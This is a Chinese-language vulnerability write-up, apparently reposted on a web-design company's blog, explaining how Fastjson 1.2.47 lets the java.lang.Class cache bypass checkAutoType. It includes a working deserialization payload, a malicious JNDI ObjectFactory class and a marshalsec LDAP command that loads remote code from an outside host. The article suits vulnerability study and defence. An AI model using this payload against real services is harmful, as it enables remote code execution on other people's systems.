Fastjson1.2.47版本存在的漏洞成因以及其利用方式是什么

这篇文章将为大家详细讲解有关Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

成都创新互联长期为近千家客户提供的网站建设服务,团队从业经验10年,关注不同地域、不同群体,并针对不同对象提供差异化的产品和服务;打造开放共赢平台,与合作伙伴共同营造健康的互联网生态环境。为隆德企业提供专业的网站建设、做网站,隆德网站改版等技术服务。拥有10年丰富建站经验和众多成功案例,为您定制开发。

前言

这次将要介绍的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。

Fastjson 1.2.47漏洞分析

Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行

首先来看一下公开的poc

public class demo {
public static void main(String[] args) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";
Object obj = JSON.parseObject(payload);
System.out.println(obj);
}
}

从代码中可见,与以往利用不同的是,该poc中构造了两个json字符串

1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}

为了弄清楚这样构造的意义,我们来动态调试一下这个漏洞

程序首先解析第一个json字符串

"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 解析过程

我们跳过部分FastJson解析流程,直接来看checkAutoType安全模块时的操作。对这个字符串中\@type字段进行校验

在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模块中,程序首先进入了这个分支,程序调用getClassFromMapping对typeName进行解析,typeName即为字符串中@type的值,在第一个json字符串中,这个值为"java.lang.Class"

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

我们跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMappingFastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

从上图代码可见,程序想从mappings中寻找键名为”java.lang.Class”的元素并返回对应的键值。值得一提的是,mappings合集与后文将要讲到的buckets合集对这个漏洞至关重要,这二者是这个漏洞产生的核心因素

  • mappings合集

mappings中存储的数据都是什么呢?经过调试可以发现其中数据形式如下图中所展示

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

从上图可见,mappings中存储着类名字符串以及对应类对象。然而mappings中的数据又是从何而来的呢?

经过调试发现,mappings中存储的数据是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

从Mapping合集中的数据可以猜测,Mapping是用来存储一些基础的Class,以便于在反序列化处理这些基础类时提高效率

在弄清楚mappings列表的由来后,继续回到正题。我们构造的typeName(@type指定的"java.lang.Class")并不在Mappings的键中。因此getClassFromMapping方法返回null,程序继续向下执行进入下一个if分支。此时程序接着调用deserializers.findClass对传入的typeName进行解析

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

我们跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法进行进一步分析

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

从上图代码可见,程序会遍历buckets,取出其中元素的key属性值的名称并与传入的”java.lang.Class”进行比较,如果二者相同,则将这个Class对象返回

  • buckets合集

现在我们要谈谈buckets合集了。buckets又存储着什么元素呢?见下图

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

上图我们展开了一个buckets合集中元素进行展示。与Mapping合集相同的问题产生了:buckets中的元素都有哪些、他们又从何而来呢?经过调试我们在见下三张图中找到了答案

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

通过FastJson作者关于buckets合集的注释猜测,buckets是一个用于并发的IdentityHashMap

回到调试流程中findClass方法来,我们构造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了,因此java.lang.Class类对象被返回

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

在findClass执行完成后,java.lang.Class类对象被返回到checkAutoType中并赋值给clazz,checkAutoType方法也将于963行处将clazz返回。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

回顾一下上文中的Mapping合集和buckets合集,Fastjson为什么要将用户传入的\@type字段指定的字符串在这两个合集中匹配呢?

Mapping合集则是用来存储基础的Class,如果\@type字段传入的字符串如果对应了基础Class,程序则直接找到其类对象并将其类对象返回,从而跳过了checkAutoType后续的部分校验过程。而buckets合集则是用于并发操作。

但无论Mapping合集与buckets合集实际作用是什么,但凡用户传入的\@type字段字段值在两个合集中任意一个中,且程序使用JSON.parseObject(payload);这样的形式解析字符串(确保expectClass为空,防止进入上图957行if分支),checkAutoType都将会直接将其对应的Class返回。

checkAutoType在将clazz返回后,程序将会执行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代码

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

从上图第一个红框可见,checkAutoType在将用户传入的@type值返回后,程序会赋值给上图316行处clazz变量,而上图384行处的deserialze方法紧接着处理这个clazz变量

跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中

public  T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

⋮

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);

⋮

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} 

⋮

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

此时传入deserialze中clazz变量为checkAutoType安全模块校验后返回的"java.lang.Class"而fieldName变量值为解析的第一个json字段名"a"

deserialze方法中,与本次漏洞与poc构造的代码块主要有三部分,分别是:

  1. 取出json字符串中val值

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);

在这段代码中,程序将判断传入的json字符串中是否有”val”,并将其值通过下图第一个红框处的代码取出赋值给objVal变量。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

  1. 将objVal变量值转换为String类型并赋值strVal变量

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}

这段代码与上一段衔接,objVal变量值又传递给下图第二个红框处。strVal变量判断objVal非空且为String类实例时,将其转换为String类型并赋值与strVal

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

  1. 调用TypeUtils.loadClass处理val值

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

这段代码的作用时,当传入的clazz变量为Class的类对象时,调用TypeUtils.loadClass处理strVal(即json字符串中的val值)

在分析完deserialze方法的加工流程后,我们回头看看poc中构造的val值是什么,见下图红框处

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

poc中构造的是com.sun.rowset.JdbcRowSetImpl字符串,也就是过往漏洞利用中可利用的类。但是根据之前的分析,自从黑名单机制的完善,这个类早已已经不能简单的直接利用了,这个漏洞究竟是如何让这个类绕过黑名单重获新生呢?我们继续往下看看TypeUtils.loadClass中的操作,继续跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass

public static Class loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}

loadClass接收的一个参数:"className"为String类型变量,根据上文的调用关系,这里传入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className参数值为"com.sun.rowset.JdbcRowSetImpl"

通过分析loadClass方法代码,可以发现如下代码

try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
}

在该代码段中,程序通过contextClassLoader.loadClass(className);方法从字符串类型className变量("com.sun.rowset.JdbcRowSetImpl")获取到com.sun.rowset.JdbcRowSetImpl类对象,并赋值给clazz变量。此时的className、clazz变量形式如下图

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

接着,程序判断cache变量情况:在当cache为true时,将className、clazz键值对加入mappings合集(cache默认为true)。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

经过动态调试可以发现,通过上面的一系列操作,Mappings合集中确实已经加入了我们的恶意类com.sun.rowset.JdbcRowSetImpl,见下图

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

在我们的第一个json字符串解析完成后,程序随后会解析我们第二个json字符串

"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}解析过程

与第一个json字符串解析流程完全一致,程序也执行到下图部分

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

由于这次Mapping中有键名为com.sun.rowset.JdbcRowSetImpl的元素,因此clazz被赋值为com.sun.rowset.JdbcRowSetImpl类对象

从下面两张图可见,此时上文的流程完全一致,只不过这次返回的时com.sun.rowset.JdbcRowSetImpl类对象

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

com.sun.rowset.JdbcRowSetImpl恶意类被顺利返回,但是整个操作流程中并未触发checkAutoType黑白名单校验机制。随后com.sun.rowset.JdbcRowSetImpl恶意类被反序列化,触发利用

漏洞利用

为了证实漏洞的存在,我们首先在192.167.30.116服务器的80端口web服务上部署ExecTest.class。ExecTest.java中内容如下

java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) {
exec("xterm");
return null;
}

public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}

public static void main(String[] args) {
exec("123");
}
}

使用marshalsec开启ladp服务,监听在1389端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

demo程序执行完毕,计算器成功弹出

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本的漏洞与Fastjson历史上存在的大多数漏洞不同。本次漏洞相比自立一派,与过往那些针对补丁绕过的漏洞相比,本次漏洞更为复杂与精妙。1.2.47版本的漏洞涉及到一些Fastjson机制类的知识,通过对这个漏洞进行分析,可以更好的了解FastJson框架。

关于Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


文章标题:Fastjson1.2.47版本存在的漏洞成因以及其利用方式是什么
文章位置:http://scyanting.com/article/iiidjd.html